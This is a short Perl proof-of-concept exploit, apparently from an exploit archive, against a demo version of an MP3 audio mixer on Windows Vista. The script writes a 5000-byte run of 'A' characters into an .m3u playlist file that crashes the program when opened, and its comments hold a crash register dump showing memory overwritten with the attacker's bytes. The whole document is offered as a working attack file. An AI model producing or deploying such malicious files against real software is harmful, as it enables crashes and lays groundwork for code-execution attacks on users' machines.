#!/usr/perl/bin -w
#
#
#Foundr By : D3V!L FucK3r
#
#MY Email: w0@live.no
#
#Download : https://www.acoustica.com
#
#Tested  on : Windos vista sp1
#
#Version : mp3 audio mixer v.2.471 Demo
#
#if you Click ×××××× and select file then ...... :)
#
# perl For a men :)
#
#Gretz to : Sa^Devl  ,    THEINJECTOR    ,   anti-trust
#
#EAX 03D7ADF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#ECX 41414141
#EDX 01EE0000
#EBX 00004141
#ESP 0012BC48
#EBP 0012BC74
#ESI 03E808E0
#EDI 00100000
#EIP 76ED04C1 ntdll.76ED04C1

$buff="\x41" x 5000;
open(MYFILE , '>>D3V!L FUCK3R.m3u')or die " File not found.";
print MYFILE $buff;
close (MYFILE);

print "Perl 4 a men :d\n";

###########################################